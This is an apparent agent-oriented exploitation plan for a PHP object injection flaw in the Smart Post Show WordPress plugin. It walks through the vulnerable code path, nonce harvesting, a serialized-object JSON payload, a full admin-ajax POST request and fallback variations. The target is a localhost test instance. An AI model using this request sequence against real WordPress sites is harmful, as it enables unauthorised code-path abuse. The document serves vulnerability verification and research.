Exploitation Research Plan: CVE-2026-3017 (Smart Post Show)

1. Vulnerability Summary

The Smart Post Show plugin (versions <= 3.0.12) is vulnerable to PHP Object Injection via the import_shortcodes() function. The vulnerability exists because the plugin accepts a user-provided JSON string containing shortcode metadata and passes it through maybe_unserialize() without sufficient validation. Although the input is passed through sanitize_text_field(), this function does not prevent the injection of serialized PHP objects. Successful exploitation requires Administrator-level privileges and the presence of a usable POP chain in another plugin or theme.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Action: sp_pc_import_shortcodes (Inferred from function name and plugin prefix sp_pc_)
• HTTP Parameter: shortcode (JSON-encoded string)
• Nonce: spf_options_nonce
• Authentication: Required (Administrator+). The capability check is manage_options (filterable via sp_post_carousel_import_export_user_capability).
• Preconditions: Must be logged in as an administrator to obtain the nonce and satisfy the capability check.

3. Code Flow

1. Entry Point: The AJAX action triggers Smart_Post_Show_Import_Export::import_shortcodes().
2. Nonce Check: wp_verify_nonce( $_POST['nonce'], 'spf_options_nonce' ) verifies the request integrity.
3. Capability Check: current_user_can( 'manage_options' ) ensures the user is an admin.
4. Input Decoding:
   • $_POST['shortcode'] is captured and json_decode()'d.
   • map_deep() applies sanitize_text_field() to the values. sanitize_text_field removes HTML tags and null bytes but allows characters like :, {, }, and " used in serialized objects.
5. Sink Call: import_shortcodes() calls $this->import($shortcodes).
6. Vulnerable Sink: Inside import(), the code iterates over $shortcode['meta'].
   • includes/class-smart-post-show-import-export.php:

     $meta_value = maybe_unserialize( str_replace( '{#ID#}', $new_shortcode_id, $value ) );
     update_post_meta( $new_shortcode_id, $meta_key, $meta_value );
     

   • The maybe_unserialize() function executes on the string $value (after a simple string replacement), leading to PHP Object Injection.

4. Nonce Acquisition Strategy

The nonce spf_options_nonce is required. It is typically localized for the plugin's administration scripts.

1. Identify Page: The "Import/Export" functionality is likely located under the "Smart Post Show" menu in the WordPress dashboard.
2. Navigate: Use browser_navigate to go to wp-admin/edit.php?post_type=sp_post_carousel&page=sp_pc_settings (or the specific Import/Export sub-page).
3. Extract Nonce: The nonce is likely part of a global configuration object.
   • Target Variable: window.spf_vars?.nonce or similar.
   • Alternative: Search the HTML source for spf_options_nonce.
   • Command: browser_eval("document.querySelector('#spf_options_nonce')?.value || spf_vars?.nonce")

5. Exploitation Strategy

Payload Construction

The payload must be a JSON string that mimics the plugin's export format.

{
  "shortcode": [
    {
      "title": "Exploit Post",
      "meta": {
        "exploit_meta_key": "O:8:\"stdClass\":0:{}"
      }
    }
  ]
}

HTTP Request (via http_request)

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=sp_pc_import_shortcodes&nonce=[NONCE]&shortcode={"shortcode":[{"title":"Exploit","meta":{"injection":"O:8:\"stdClass\":0:{}"}}]}
  

6. Test Data Setup

1. Admin User: Ensure an admin user exists and is logged in (session cookies needed).
2. Plugin Activation: Ensure the "Smart Post Show" plugin is active.
3. Shortcode Page: Not strictly required for the exploit itself (since it's an admin-ajax action), but accessing the admin settings page is necessary to harvest the nonce.

7. Expected Results

• Response: The plugin should return a JSON success message (e.g., {"success":true,...}).
• Effect: A new post of type sp_post_carousel will be created. The update_post_meta call will attempt to store an unserialized stdClass object (or the target POP chain object) in the database for that post.

8. Verification Steps

1. Check Post Creation: Use WP-CLI to see if the "Exploit" post was created.
   • wp post list --post_type=sp_post_carousel
2. Check Meta Data: Inspect the meta value to see if it was stored as an object or a string.
   • wp post meta list [NEW_POST_ID]
3. Check Logs: If a POP chain was used (e.g., Logger class), check for the side effect (file creation, log entry, etc.).

9. Alternative Approaches

• Export Hook: If sp_pc_import_shortcodes is incorrect, check the admin page source for the id="spf-form" or similar and look for the hidden input action field.
• Double JSON Encoding: The source code suggests a second json_decode if the first result is still a string. If the primary payload fails, try double-encoding the shortcode value.
• Nested Objects: If stdClass is filtered, try a built-in WordPress class like WP_Block_Type_Registry if a chain is found.